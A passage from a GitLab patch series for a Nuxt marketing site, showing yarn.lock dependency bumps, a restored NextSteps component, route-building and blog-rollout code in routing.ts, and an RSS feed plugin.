-  integrity sha512-ywP2X0DYtX3y08eFVx5fNIw7/uIv8hYUKgXoK8oayJlLnKcRfEYCxWMVE1XagUdVtCJlZT1AU4LXEABW+L1Peg==
+  version "22.13.5"
+  resolved "https://registry.yarnpkg.com/@types/node/-/node-22.13.5.tgz#23add1d71acddab2c6a4d31db89c0f98d330b511"
+  integrity sha512-+lTU0PxZXn0Dr1NBtC7Y8cR21AJr87dLLU953CWA6pMxxv/UDc7jYAY90upcrie1nRcD6XNG5HOYEDtgW5TxAg==
   dependencies:
     undici-types "~6.20.0"
 
@@ -4837,9 +4830,9 @@ croner@^9.0.0:
   integrity sha512-onMB0OkDjkXunhdW9htFjEhqrD54+M94i6ackoUkjHKbRnXdyEyKRelp4nJ1kAz32+s27jP1FsebpJCVl0BsvA==
 
 cronstrue@^2.52.0:
-  version "2.54.0"
-  resolved "https://registry.yarnpkg.com/cronstrue/-/cronstrue-2.54.0.tgz#67a10f083ef97dd26ae87f64de0007bd3eced413"
-  integrity sha512-vyp5NklDxA5MjPfQgkn0bA+0vRQe7Q9keX7RPdV6rMgd7LtDvbuKgnT+3T5ZAX16anSP5HmahcRp8mziXsLfaw==
+  version "2.55.0"
+  resolved "https://registry.yarnpkg.com/cronstrue/-/cronstrue-2.55.0.tgz#c7dd69628556c53df925179a9500f0986379c961"
+  integrity sha512-ZsBZNtQWb0Rk6CNGJlzpPBYqNE7t93Aez5ZCExLihGwmIpE5qThSTDQzDV8Z1Nw6ksmLkwI98nPKyciZ5sH7dw==
 
 cross-fetch@^3.0.4:
   version "3.2.0"
@@ -5616,9 +5609,9 @@ ee-first@1.1.1:
   integrity sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==
 
 electron-to-chromium@^1.5.73:
-  version "1.5.102"
-  resolved "https://registry.yarnpkg.com/electron-to-chromium/-/electron-to-chromium-1.5.102.tgz#81a452ace8e2c3fa7fba904ea4fed25052c53d3f"
-  integrity sha512-eHhqaja8tE/FNpIiBrvBjFV/SSKpyWHLvxuR9dPTdo+3V9ppdLmFB7ZZQ98qNovcngPLYIz0oOBF9P0FfZef5Q==
+  version "1.5.103"
+  resolved "https://registry.yarnpkg.com/electron-to-chromium/-/electron-to-chromium-1.5.103.tgz#3d02025bc16e96e5edb3ed3ffa2538a11ae682dc"
+  integrity sha512-P6+XzIkfndgsrjROJWfSvVEgNHtPgbhVyTkwLjUM2HU/h7pZRORgaTlHqfAikqxKmdJMLW8fftrdGWbd/Ds0FA==
 
 emoji-regex-xs@^1.0.0:
   version "1.0.0"
@@ -6043,20 +6036,20 @@ eslint-visitor-keys@^4.2.0:
   integrity sha512-UyLnSehNt62FFhSwjZlHmeokpRK59rcz29j+F1/aDgbkbRTk7wIc9XzdoasMUbRNKDM0qQt/+BJ4BrpFeABemw==
 
 eslint@^9.12.0:
-  version "9.20.1"
-  resolved "https://registry.yarnpkg.com/eslint/-/eslint-9.20.1.tgz#923924c078f5226832449bac86662dd7e53c91d6"
-  integrity sha512-m1mM33o6dBUjxl2qb6wv6nGNwCAsns1eKtaQ4l/NPHeTvhiUPbtdfMyktxN4B3fgHIgsYh1VT3V9txblpQHq+g==
+  version "9.21.0"
+  resolved "https://registry.yarnpkg.com/eslint/-/eslint-9.21.0.tgz#b1c9c16f5153ff219791f627b94ab8f11f811591"
+  integrity sha512-KjeihdFqTPhOMXTt7StsDxriV4n66ueuF/jfPNC3j/lduHwr/ijDwJMsF+wyMJethgiKi5wniIE243vi07d3pg==
   dependencies:
     "@eslint-community/eslint-utils" "^4.2.0"
     "@eslint-community/regexpp" "^4.12.1"
-    "@eslint/config-array" "^0.19.0"
-    "@eslint/core" "^0.11.0"
-    "@eslint/eslintrc" "^3.2.0"
-    "@eslint/js" "9.20.0"
-    "@eslint/plugin-kit" "^0.2.5"
+    "@eslint/config-array" "^0.19.2"
+    "@eslint/core" "^0.12.0"
+    "@eslint/eslintrc" "^3.3.0"
+    "@eslint/js" "9.21.0"
+    "@eslint/plugin-kit" "^0.2.7"
     "@humanfs/node" "^0.16.6"
     "@humanwhocodes/module-importer" "^1.0.1"
-    "@humanwhocodes/retry" "^0.4.1"
+    "@humanwhocodes/retry" "^0.4.2"
     "@types/estree" "^1.0.6"
     "@types/json-schema" "^7.0.15"
     ajv "^6.12.4"
@@ -6553,17 +6546,16 @@ get-tsconfig@^4.7.3, get-tsconfig@^4.7.5:
     resolve-pkg-maps "^1.0.0"
 
 giget@^1.2.3, giget@^1.2.4:
-  version "1.2.4"
-  resolved "https://registry.yarnpkg.com/giget/-/giget-1.2.4.tgz#9866800ec046eea7097f36e491aa2c4752a0660d"
-  integrity sha512-Wv+daGyispVoA31TrWAVR+aAdP7roubTPEM/8JzRnqXhLbdJH0T9eQyXVFF8fjk3WKTsctII6QcyxILYgNp2DA==
+  version "1.2.5"
+  resolved "https://registry.yarnpkg.com/giget/-/giget-1.2.5.tgz#0bd4909356a0da75cc1f2b33538f93adec0d202f"
+  integrity sha512-r1ekGw/Bgpi3HLV3h1MRBIlSAdHoIMklpaQ3OQLFcRw9PwAj2rqigvIbg+dBUI51OxVI2jsEtDywDBjSiuf7Ug==
   dependencies:
     citty "^0.1.6"
     consola "^3.4.0"
     defu "^6.1.4"
     node-fetch-native "^1.6.6"
-    nypm "^0.5.1"
-    ohash "^1.1.4"
-    pathe "^2.0.2"
+    nypm "^0.5.4"
+    pathe "^2.0.3"
     tar "^6.2.1"
 
 git-config-path@^2.0.0:
@@ -9551,7 +9543,7 @@ nypm@^0.4.1:
     tinyexec "^0.3.1"
     ufo "^1.5.4"
 
-nypm@^0.5.1, nypm@^0.5.2:
+nypm@^0.5.2, nypm@^0.5.4:
   version "0.5.4"
   resolved "https://registry.yarnpkg.com/nypm/-/nypm-0.5.4.tgz#a5ab0d8d37f96342328479f88ef58699f29b3051"
   integrity sha512-X0SNNrZiGU8/e/zAB7sCTtdxWTMSIO73q+xuKgglm2Yvzwlo8UoC5FNySQFCvl84uPaeADkqHUZUkWy4aH4xOA==
@@ -13091,7 +13083,7 @@ write-file-atomic@^6.0.0:
     imurmurhash "^0.1.4"
     signal-exit "^4.0.1"
 
-ws@^8.18.0:
+ws@^8.18.0, ws@^8.18.1:
   version "8.18.1"
   resolved "https://registry.yarnpkg.com/ws/-/ws-8.18.1.tgz#ea131d3784e1dfdff91adb0a4a116b127515e3cb"
   integrity sha512-RKW2aJZMXeMxVpnZ6bck+RswznaxmzdULiBr6KY7XkTnW8uvt0iT9H5DkHUChXrc+uurzwa0rVI16n/Xzjdz1w==
-- 
GitLab


From eccfd45d8245b12149730fd7698d031f41c455e9 Mon Sep 17 00:00:00 2001
From: Nathan Dubord <ndubord@gitlab.com>
Date: Fri, 21 Feb 2025 17:57:43 -0500
Subject: [PATCH 04/56] Remove routing, fix next steps

---
 components/common/NextSteps.vue | 108 +++++++++++++++++++++-----------
 nuxt.config.ts                  |   1 -
 routing.ts                      |  70 ---------------------
 3 files changed, 72 insertions(+), 107 deletions(-)
 delete mode 100644 routing.ts

diff --git a/components/common/NextSteps.vue b/components/common/NextSteps.vue
index 5f6d52060..09f31097a 100644
--- a/components/common/NextSteps.vue
+++ b/components/common/NextSteps.vue
@@ -1,59 +1,95 @@
 <script lang="ts" setup>
-// import { computed } from 'vue';
-// import { Chat } from 'slippers-ui/icons';
+import { computed } from 'vue';
+import { Chat } from 'slippers-ui/icons';
 import { useI18n } from 'vue-i18n';
 
-// const { updateFreeTrialGlmContent } = useEditQueryParams();
+const { updateFreeTrialGlmContent } = useEditQueryParams();
 
-// interface NextStepsProps {
-//   header?: string;
-//   blurb?: string;
-//   button?: {
-//     text: string;
-//     config: {
-//       href: string;
-//       dataGaName: string;
-//       dataGaLocation: string;
-//     };
-//   };
-//   secondaryButton?: {
-//     text: string;
-//     config: {
-//       href: string;
-//       dataGaName: string;
-//       dataGaLocation: string;
-//     };
-//   };
-//   disableSecondaryButton?: boolean;
-// }
+interface NextStepsProps {
+  header?: string;
+  blurb?: string;
+  button?: {
+    text: string;
+    config: {
+      href: string;
+      dataGaName: string;
+      dataGaLocation: string;
+    };
+  };
+  secondaryButton?: {
+    text: string;
+    config: {
+      href: string;
+      dataGaName: string;
+      dataGaLocation: string;
+    };
+  };
+  disableSecondaryButton?: boolean;
+}
 
-// const props = defineProps<NextStepsProps>();
+const props = defineProps<NextStepsProps>();
 const { locale } = useI18n();
 
 const { data } = await useAsyncData('next-steps', () =>
-  queryContent(`/shared/${locale.value.toLocaleLowerCase()}/next-steps`).findOne(),
+  queryCollection('shared').where('stem', '=', `shared/${locale.value}/next-steps`).first(),
 );
 
+const nextStepData = data?.value?.body;
+
 if (!data) {
   throw new Error(`Error with NextSteps component content`);
 }
 
-// const content = computed(() => ({
-//   header: props.header || data.value.header,
-//   blurb: props.blurb || data.value.blurb,
-//   button: props.button || data.value.button,
-//   secondaryButton: props.secondaryButton || data.value.secondaryButton,
-// }));
+const content = computed(() => ({
+  header: props.header || nextStepData.header,
+  blurb: props.blurb || nextStepData.blurb,
+  button: props.button || nextStepData.button,
+  secondaryButton: props.secondaryButton || nextStepData.secondaryButton,
+}));
 
-// const { disableSecondaryButton = false } = props;
+const { disableSecondaryButton = false } = props;
 
-// const buttonHref = computed(() => updateFreeTrialGlmContent(content.value.button?.config.href || ''));
+const buttonHref = computed(() => updateFreeTrialGlmContent(content.value.button?.config.href || ''));
 
-// const secondaryButtonHref = computed(() => updateFreeTrialGlmContent(content.value.secondaryButton?.config.href || ''));
+const secondaryButtonHref = computed(() => updateFreeTrialGlmContent(content.value.secondaryButton?.config.href || ''));
 </script>
 
 <template>
-  <section class="next-steps"></section>
+  <section class="next-steps">
+    <SlpContainer>
+      <div class="next-steps__container">
+        <div class="next-steps__header slp-mb-16">
+          <SlpTypography variant="heading2-bold" tag="h2">
+            {{ content.header }}
+          </SlpTypography>
+        </div>
+        <SlpTypography variant="heading5" tag="div" class="description slp-mb-24">
+          <div v-html="$md.render(content.blurb)" />
+        </SlpTypography>
+        <div class="buttons">
+          <SlpButton
+            variant="secondary"
+            :href="buttonHref"
+            :data-ga-name="content.button.config.dataGaName"
+            class="main-button"
+            :data-ga-location="content.button.config.dataGaLocation || 'next step'"
+          >
+            {{ content.button.text }}
+          </SlpButton>
+          <SlpButton
+            v-if="content.secondaryButton && !disableSecondaryButton"
+            variant="primary"
+            :href="secondaryButtonHref"
+            :data-ga-name="content.secondaryButton?.config.dataGaName"
+            class="secondary-button"
+            :data-ga-location="content.secondaryButton?.config.dataGaLocation || 'next step'"
+          >
+            <SlpIcon :icon="Chat" size="24" class="slp-mr-8" />{{ content.secondaryButton?.text }}
+          </SlpButton>
+        </div>
+      </div>
+    </SlpContainer>
+  </section>
 </template>
 
 <style lang="scss" scoped>
diff --git a/nuxt.config.ts b/nuxt.config.ts
index 3445b056f..0a7f4cd28 100644
--- a/nuxt.config.ts
+++ b/nuxt.config.ts
@@ -1,4 +1,3 @@
-// import { blogRolloutFilter, buildGitlabRoutes } from './routing';
 import { oneTrustScripts, oneTrustPreconnects } from './scripts/onetrust-scripts';
 import { getGtagConsentScript } from './scripts/gtm-consent-script';
 
diff --git a/routing.ts b/routing.ts
deleted file mode 100644
index 50bca6b2b..000000000
--- a/routing.ts
+++ /dev/null
@@ -1,70 +0,0 @@
-import fs from 'fs';
-import path from 'path';
-
-// Helper function to read directory recursively
-const readDirectoryRecursively = (dir: string): string[] => {
-  let results: string[] = [];
-  const list = fs.readdirSync(dir);
-
-  list.forEach((file) => {
-    const filePath = path.join(dir, file);
-    const stat = fs.statSync(filePath);
-
-    if (stat && stat.isDirectory()) {
-      // Recursively read subdirectories
-      results = results.concat(readDirectoryRecursively(filePath));
-    } else {
-      results.push(filePath);
-    }
-  });
-
-  return results;
-};
-
-/**
- * Route builder, it ignores the content from the "shared" folder and clean the routes
- */
-export const buildGitlabRoutes = (): string[] => {
-  const dir = 'content';
-  const files = readDirectoryRecursively(dir);
-  const routesRegex = /content|\.yml|index\/?|en-us\//gim;
-
-  return files
-    .filter((file) => !file.includes('shared/')) // Remove shared content
-    .map((file) => {
-      // Extract the relative path and format it for routing
-      const relativePath = path.relative(dir, file);
-      const route = relativePath.replace(routesRegex, '');
-      return `/${route}`.replace(/\/?$/, '/'); // ensure it is returned without a trailing slash
-    });
-};
-
-// Temporary logic that will be used to rollout the blog in year by year batches.
-export const blogRolloutFilter = (routes: string[]) => {
-  const allowedYears = ['2015'];
-  // eslint-disable-next-line no-console
-  console.log(`FILTERING BLOGPOSTS FROM YEARS OTHER THAN ${allowedYears.join(', ')}`);
-  const dir = 'content/en-us';
-
-  const blogRoutes = routes.filter((route) => route.includes('blog/'));
-  const nonBlogRoutes = routes.filter((route) => !route.includes('/blog'));
-  const filteredBlogRoutes = blogRoutes.filter((route) => {
-    const filePath = path.join(dir, route.replace(/^\/+|\/+$/g, '') + '.yml');
-    // Check if the file exists before reading
-    if (fs.existsSync(filePath)) {
-      const fileContent = fs.readFileSync(filePath, 'utf8');
-
-      const dateMatch = fileContent.match(/date:\s*'(\d{4}-\d{2}-\d{2})'/);
-      if (dateMatch) {
-        const postDate = new Date(dateMatch[1]);
-        return allowedYears.includes(postDate.getFullYear().toString());
-      }
-    }
-
-    return false;
-  });
-  // eslint-disable-next-line no-console
-  console.log(`total blog posts filtered: ${blogRoutes.length - filteredBlogRoutes.length}`);
-
-  return [...nonBlogRoutes, ...filteredBlogRoutes];
-};
-- 
GitLab


From 44ab06e1c108d9a0c4854e188e3e18b73d4ecf49 Mon Sep 17 00:00:00 2001
From: Nathan Dubord <ndubord@gitlab.com>
Date: Tue, 25 Feb 2025 09:17:26 -0500
Subject: [PATCH 05/56] Revert routing changes

---
 .gitlab-ci.yml                          |   1 -
 components/common/PricingCardsGrid.vue  |   5 +-
 components/navigation/footer/Footer.vue |  22 +--
 composables/useGitlabContent.ts         |   2 +-
 content.config.ts                       |   1 +
 modules/page-meta.ts                    |   1 +
 nuxt.config.ts                          |  36 +++-
 pages/[...slug].vue                     |   3 +-
 routing.ts                              |  70 +++++++
 server/plugins/feed.ts                  |  70 +++----
 yarn.lock                               | 245 ++++++++++++------------
 11 files changed, 279 insertions(+), 177 deletions(-)
 create mode 100644 routing.ts

diff --git a/.gitlab-ci.yml b/.gitlab-ci.yml
index a6d7698cd..117259f5a 100644
--- a/.gitlab-ci.yml
+++ b/.gitlab-ci.yml
@@ -107,7 +107,6 @@ check-duplicate-slugs:
   rules:
     - if: *default_branch_condition
     - if: *mr_condition
-
 ###################################
 # Build Stage
 ###################################
diff --git a/components/common/PricingCardsGrid.vue b/components/common/PricingCardsGrid.vue
index 26f62f4bf..4b33ecd7d 100644
--- a/components/common/PricingCardsGrid.vue
+++ b/components/common/PricingCardsGrid.vue
@@ -16,14 +16,15 @@ interface CardsGridProps {
 const { locale } = useI18n();
 const props = defineProps<CardsGridProps>();
 const { data } = await useAsyncData('pricing-cards', () =>
-  queryContent(`/shared/${locale.value.toLocaleLowerCase()}/pricing-cards`).findOne(),
+  queryCollection('shared').where('stem', '=', `shared/${locale.value}/pricing-cards`).first(),
 );
 
+const pricingCardData = data?.value?.body;
 if (!data) {
   throw new Error(`Error with GitlabDuoCardsGrid component content`);
 }
 
-const content = ref<CardsGridProps>(data.value);
+const content = ref<CardsGridProps>(pricingCardData);
 </script>
 
 <template>
diff --git a/components/navigation/footer/Footer.vue b/components/navigation/footer/Footer.vue
index dd37eccf7..535691f1e 100644
--- a/components/navigation/footer/Footer.vue
+++ b/components/navigation/footer/Footer.vue
@@ -2,7 +2,7 @@
 import { ref } from 'vue';
 import GitLabIcon from '~/assets/icons/gitlab.vue';
 import type { FooterData } from '@/types/navigation';
-// import type { Language } from '@/types/base';
+import type { Language } from '@/types/base';
 
 defineProps<{
   footerData: FooterData;
@@ -10,14 +10,14 @@ defineProps<{
 
 const maxLinksPerColumnMobile = ref(10);
 
-//localization data
-// const localizationData = useI18n();
-// const allLocalesData = localizationData.locales.value;
-// const route = useRoute();
-// const availableLanguages = useAvailableLanguages(route.path);
-// const availableLocaleData = availableLanguages.map((lang: string) =>
-//   allLocalesData.find((locale: Language) => locale.code === lang),
-// );
+// localization data
+const localizationData = useI18n();
+const allLocalesData = localizationData.locales.value;
+const route = useRoute();
+const availableLanguages = useAvailableLanguages(route.path);
+const availableLocaleData = availableLanguages.map((lang: string) =>
+  allLocalesData.find((locale: Language) => locale.code === lang),
+);
 </script>
 
 <template>
@@ -97,7 +97,7 @@ const maxLinksPerColumnMobile = ref(10);
           </div>
         </SlpColumn>
       </SlpRow>
-      <!-- <div class="footer__cta">
+      <div class="footer__cta">
         <div
           class="footer__selectors"
           :class="{
@@ -110,7 +110,7 @@ const maxLinksPerColumnMobile = ref(10);
           <NavigationFooterSocialMediaLinks v-bind="footerData.config" />
         </div>
         <NavigationFooterSource v-bind="footerData" />
-      </div> -->
+      </div>
     </SlpContainer>
   </footer>
 </template>
diff --git a/composables/useGitlabContent.ts b/composables/useGitlabContent.ts
index b1aadd048..9956c4fce 100644
--- a/composables/useGitlabContent.ts
+++ b/composables/useGitlabContent.ts
@@ -11,7 +11,7 @@ export const useGitlabContent = async () => {
 
   const slug = `/${locale.value.toLowerCase()}/${params.slug ? params.slug.join('/') : ''}`;
 
-  const { data } = await useAsyncData('gitlabContent', () => queryCollection('pages').path(slug).first());
+  const { data } = await useAsyncData(`${slug}`, () => queryCollection('pages').path(slug).first());
   const pageContent = data.value?.body;
 
   if (!pageContent) {
diff --git a/content.config.ts b/content.config.ts
index 63ee5cca6..c4aa937aa 100644
--- a/content.config.ts
+++ b/content.config.ts
@@ -49,6 +49,7 @@ export default defineContentConfig({
     //     prefix: '/blog/tags',
     //   },
     // }),
+
     shared: defineCollection({
       type: 'data',
       source: 'shared/**/*.yml',
diff --git a/modules/page-meta.ts b/modules/page-meta.ts
index 1a379710d..f071e7d7a 100644
--- a/modules/page-meta.ts
+++ b/modules/page-meta.ts
@@ -68,6 +68,7 @@ export default defineNuxtModule({
     }
 
     const componentManifest = await createVirtualComponentsMapping();
+
     // Register the virtual file in Nuxt's build system
     addTemplate({
       filename: 'component-manifest.mjs', // File available in #build/component-manifest
diff --git a/nuxt.config.ts b/nuxt.config.ts
index 0a7f4cd28..0d3e23448 100644
--- a/nuxt.config.ts
+++ b/nuxt.config.ts
@@ -1,3 +1,4 @@
+import { blogRolloutFilter, buildGitlabRoutes } from './routing';
 import { oneTrustScripts, oneTrustPreconnects } from './scripts/onetrust-scripts';
 import { getGtagConsentScript } from './scripts/gtm-consent-script';
 
@@ -125,9 +126,6 @@ export default defineNuxtConfig({
     '@nuxt/scripts',
     '@nuxtjs/i18n',
   ],
-  content: {
-    documentDriven: true,
-  },
   i18n: {
     legacy: false,
     fallbackLocale: 'en-us',
@@ -171,6 +169,38 @@ export default defineNuxtConfig({
       concurrency: 500,
     },
   },
+  // https://nuxt.com/docs/getting-started/prerendering#prerenderroutes-nuxt-hook
+  hooks: {
+    'nitro:config'(nitroConfig) {
+      const routes = buildGitlabRoutes();
+
+      // Temporary logic while the blog is rolled out
+      const filteredRoutes = blogRolloutFilter(routes);
+
+      nitroConfig.runtimeConfig.public['contentRoutes'] = filteredRoutes; // To be used in client-side calling useRuntimeConfig()
+      process.env.NUXT_CONTENT_FILES = JSON.stringify(filteredRoutes); // To be used in the "prerender:routes" to avoid calling buildGitlabRoutes() twice
+    },
+    async 'prerender:routes'(ctx) {
+      ctx.routes.clear(); // Removes any route that has been automatically generated by Nuxt
+      const routeIdx = process.argv.indexOf('--route');
+      const specificRoute = routeIdx !== -1 ? process.argv[routeIdx + 1] : null;
+      //const routeArrayIdx = process.argv.indexOf('--route-array');
+      //const fileList = routeArrayIdx !== -1 ? process.argv[routeArrayIdx + 1].split('\n') : null;
+
+      // Build a single route
+      if (specificRoute) {
+        console.info(`🔄 Generating only the specific route: ${specificRoute}`);
+        ctx.routes.add(specificRoute.endsWith('/') ? specificRoute : `${specificRoute}/`);
+        return;
+      }
+      const routes = JSON.parse(process.env.NUXT_CONTENT_FILES || '[]');
+
+      console.info(`🔄 Generating all routes`);
+      for (const route of routes) {
+        ctx.routes.add(route.endsWith('/') ? route : `${route}/`);
+      }
+    },
+  },
   site: {
     url: 'https://about.gitlab.com',
     trailingSlash: true,
diff --git a/pages/[...slug].vue b/pages/[...slug].vue
index 474b0895e..fab199926 100644
--- a/pages/[...slug].vue
+++ b/pages/[...slug].vue
@@ -5,7 +5,7 @@ import { pathToID } from '@/utils/pathToID';
 const { path } = useRoute();
 const page: BasePage = await useGitlabContent();
 // Generic SEO configuration
-// useGitlabSeo(page.seo);
+useGitlabSeo(page.seo);
 
 // Use a specific layout, use the "default" one if undefined
 setPageLayout(page.config?.layout);
@@ -28,6 +28,7 @@ if (!page.content) {
     message: `Page is missing the "content" attribute: ${path}`,
   });
 }
+
 const resolvedTemplate = await import(`@/components/templates/${page.config?.template || 'Common'}.vue`);
 </script>
 
diff --git a/routing.ts b/routing.ts
new file mode 100644
index 000000000..50bca6b2b
--- /dev/null
+++ b/routing.ts
@@ -0,0 +1,70 @@
+import fs from 'fs';
+import path from 'path';
+
+// Helper function to read directory recursively
+const readDirectoryRecursively = (dir: string): string[] => {
+  let results: string[] = [];
+  const list = fs.readdirSync(dir);
+
+  list.forEach((file) => {
+    const filePath = path.join(dir, file);
+    const stat = fs.statSync(filePath);
+
+    if (stat && stat.isDirectory()) {
+      // Recursively read subdirectories
+      results = results.concat(readDirectoryRecursively(filePath));
+    } else {
+      results.push(filePath);
+    }
+  });
+
+  return results;
+};
+
+/**
+ * Route builder, it ignores the content from the "shared" folder and clean the routes
+ */
+export const buildGitlabRoutes = (): string[] => {
+  const dir = 'content';
+  const files = readDirectoryRecursively(dir);
+  const routesRegex = /content|\.yml|index\/?|en-us\//gim;
+
+  return files
+    .filter((file) => !file.includes('shared/')) // Remove shared content
+    .map((file) => {
+      // Extract the relative path and format it for routing
+      const relativePath = path.relative(dir, file);
+      const route = relativePath.replace(routesRegex, '');
+      return `/${route}`.replace(/\/?$/, '/'); // ensure it is returned without a trailing slash
+    });
+};
+
+// Temporary logic that will be used to rollout the blog in year by year batches.
+export const blogRolloutFilter = (routes: string[]) => {
+  const allowedYears = ['2015'];
+  // eslint-disable-next-line no-console
+  console.log(`FILTERING BLOGPOSTS FROM YEARS OTHER THAN ${allowedYears.join(', ')}`);
+  const dir = 'content/en-us';
+
+  const blogRoutes = routes.filter((route) => route.includes('blog/'));
+  const nonBlogRoutes = routes.filter((route) => !route.includes('/blog'));
+  const filteredBlogRoutes = blogRoutes.filter((route) => {
+    const filePath = path.join(dir, route.replace(/^\/+|\/+$/g, '') + '.yml');
+    // Check if the file exists before reading
+    if (fs.existsSync(filePath)) {
+      const fileContent = fs.readFileSync(filePath, 'utf8');
+
+      const dateMatch = fileContent.match(/date:\s*'(\d{4}-\d{2}-\d{2})'/);
+      if (dateMatch) {
+        const postDate = new Date(dateMatch[1]);
+        return allowedYears.includes(postDate.getFullYear().toString());
+      }
+    }
+
+    return false;
+  });
+  // eslint-disable-next-line no-console
+  console.log(`total blog posts filtered: ${blogRoutes.length - filteredBlogRoutes.length}`);
+
+  return [...nonBlogRoutes, ...filteredBlogRoutes];
+};
diff --git a/server/plugins/feed.ts b/server/plugins/feed.ts
index cf5c01703..b229eb0f9 100644
--- a/server/plugins/feed.ts
+++ b/server/plugins/feed.ts
@@ -1,12 +1,12 @@
 import type { Feed } from 'nuxt-module-feed';
-// import { serverQueryContent } from '#content/server';
-// import { createEvent } from 'h3';
-// import markdownIt from 'markdown-it';
-// const md = markdownIt();
+// import { queryCollection } from '#content/server';
+import { createEvent } from 'h3';
+import markdownIt from 'markdown-it';
+const md = markdownIt();
 
-// function markdownToHtml(markdown: string) {
-//   return md.render(markdown);
-// }
+function markdownToHtml(markdown: string) {
+  return md.render(markdown);
+}
 const BASE_URL = 'https://about.gitlab.com';
 
 export default defineNitroPlugin((nitroApp) => {
@@ -62,33 +62,33 @@ export async function generateFeed(feed: Feed, locale: string) {
     },
   };
 
-  // const mockEvent = createEvent({
-  //   method: 'GET',
-  //   url: '/',
-  //   headers: {},
-  // });
+  const mockEvent = createEvent({
+    method: 'GET',
+    url: '/',
+    headers: {},
+  });
 
-  // const posts = await serverQueryContent(mockEvent, `${locale}/blog`).sort({ 'content.date': -1 }).limit(20).find();
-  // posts.forEach((post) => {
-  //   try {
-  //     const postPath = `https://about.gitlab.com/blog/${post.config.slug}`;
-  //     const articleDate = post.content.date;
-  //     const formattedDate = new Date(articleDate);
-  //     feed.addItem({
-  //       title: post.content.title,
-  //       link: postPath,
-  //       id: postPath,
-  //       published: formattedDate,
-  //       image: post.content.heroImage,
-  //       date: formattedDate,
-  //       author: post.content.authors.map((author: string) => ({
-  //         name: author,
-  //         link: `https://about.gitlab.com/blog/authors/${author.toLowerCase().replace(' ', '-')}`,
-  //       })),
-  //       content: markdownToHtml(post.content.body),
-  //     });
-  //   } catch (error) {
-  //     console.error(`error generating ${locale} rss feed`, error);
-  //   }
-  // });
+  const posts = await queryCollection(mockEvent, `${locale}/blog`).sort({ 'content.date': -1 }).limit(20).find();
+  posts.forEach((post) => {
+    try {
+      const postPath = `https://about.gitlab.com/blog/${post.config.slug}`;
+      const articleDate = post.content.date;
+      const formattedDate = new Date(articleDate);
+      feed.addItem({
+        title: post.content.title,
+        link: postPath,
+        id: postPath,
+        published: formattedDate,
+        image: post.content.heroImage,
+        date: formattedDate,
+        author: post.content.authors.map((author: string) => ({
+          name: author,
+          link: `https://about.gitlab.com/blog/authors/${author.toLowerCase().replace(' ', '-')}`,
+        })),
+        content: markdownToHtml(post.content.body),
+      });
+    } catch (error) {
+      console.error(`error generating ${locale} rss feed`, error);
+    }
+  });
 }
diff --git a/yarn.lock b/yarn.lock
index f757a406d..f984b554d 100644
--- a/yarn.lock
+++ b/yarn.lock
@@ -1282,9 +1282,9 @@
     ufo "^1.5.4"
 
 "@nuxt/content@^3.2.0":
-  version "3.2.1"
-  resolved "https://registry.yarnpkg.com/@nuxt/content/-/content-3.2.1.tgz#abdf8459bfe38634bc51c6f390d24424369d53df"
-  integrity sha512-6jASUd0B4JM4/1dnSdpzj17mmNSzXLWOBLrTjwTpmLBc4C6G/1fWyQb1TeGnCczekfXNoxUK0LUAYpVs5ULEAw==
+  version "3.2.2"
+  resolved "https://registry.yarnpkg.com/@nuxt/content/-/content-3.2.2.tgz#d43e427b96253630dbebbe14f02f216f062a89b9"
+  integrity sha512-ug3UadxHTXXfaQpgBAA3OkrLidjxDi4XdLRjeoFfGhx2sWT77YzbytEWYA2VkxtqkZ9y4BzCs9xfum9m1/AcKg==
   dependencies:
     "@nuxt/kit" "^3.15.4"
     "@nuxtjs/mdc" "^0.13.5"
@@ -1292,7 +1292,7 @@
     "@sqlite.org/sqlite-wasm" "3.49.0-build3"
     "@webcontainer/env" "^1.1.1"
     better-sqlite3 "^11.8.1"
-    c12 "^2.0.2"
+    c12 "^2.0.4"
     chokidar "^4.0.3"
     consola "^3.4.0"
     db0 "^0.2.4"
@@ -1329,7 +1329,7 @@
     unist-util-visit "^5.0.0"
     ws "^8.18.1"
     zod "^3.24.2"
-    zod-to-json-schema "^3.24.2"
+    zod-to-json-schema "^3.24.3"
     zod-to-ts "^1.2.0"
 
 "@nuxt/devalue@^2.0.2":
@@ -1837,9 +1837,9 @@
   integrity sha512-izFjMJ1sir0jn0ldEKhZ7xegCTj/ObmEDlEfpFrx4k/JyZSMRHbO3/rBwgE7f3m2DHt+RrNGIVw4wSmwnm3t/g==
 
 "@octokit/plugin-paginate-rest@^11.0.0":
-  version "11.4.2"
-  resolved "https://registry.yarnpkg.com/@octokit/plugin-paginate-rest/-/plugin-paginate-rest-11.4.2.tgz#8f46a1de74c35e016c86701ef4ea0e8ef25a06e0"
-  integrity sha512-BXJ7XPCTDXFF+wxcg/zscfgw2O/iDPtNSkwwR1W1W5c4Mb3zav/M2XvxQ23nVmKj7jpweB4g8viMeCQdm7LMVA==
+  version "11.4.3"
+  resolved "https://registry.yarnpkg.com/@octokit/plugin-paginate-rest/-/plugin-paginate-rest-11.4.3.tgz#b5030bba2e0ecff8e6ff7501074c1b209af78ff8"
+  integrity sha512-tBXaAbXkqVJlRoA/zQVe9mUdb8rScmivqtpv3ovsC5xhje/a+NOCivs7eUhWBwCApJVsR4G5HMeaLbq7PxqZGA==
   dependencies:
     "@octokit/types" "^13.7.0"
 
@@ -3014,61 +3014,61 @@
   integrity sha512-Pg33m3X2mFgdmhtvzOlAfUfgOa3341N3/2JCrVY/mXVxb4hagcqqEG6w4vGCfB64StQNWHSj/T8Eotb1Rko/FQ==
 
 "@typescript-eslint/eslint-plugin@^8.5.0":
-  version "8.24.1"
-  resolved "https://registry.yarnpkg.com/@typescript-eslint/eslint-plugin/-/eslint-plugin-8.24.1.tgz#d104c2a6212304c649105b18af2c110b4a1dd4ae"
-  integrity sha512-ll1StnKtBigWIGqvYDVuDmXJHVH4zLVot1yQ4fJtLpL7qacwkxJc1T0bptqw+miBQ/QfUbhl1TcQ4accW5KUyA==
+  version "8.25.0"
+  resolved "https://registry.yarnpkg.com/@typescript-eslint/eslint-plugin/-/eslint-plugin-8.25.0.tgz#5e1d56f067e5808fa82d1b75bced82396e868a14"
+  integrity sha512-VM7bpzAe7JO/BFf40pIT1lJqS/z1F8OaSsUB3rpFJucQA4cOSuH2RVVVkFULN+En0Djgr29/jb4EQnedUo95KA==
   dependencies:
     "@eslint-community/regexpp" "^4.10.0"
-    "@typescript-eslint/scope-manager" "8.24.1"
-    "@typescript-eslint/type-utils" "8.24.1"
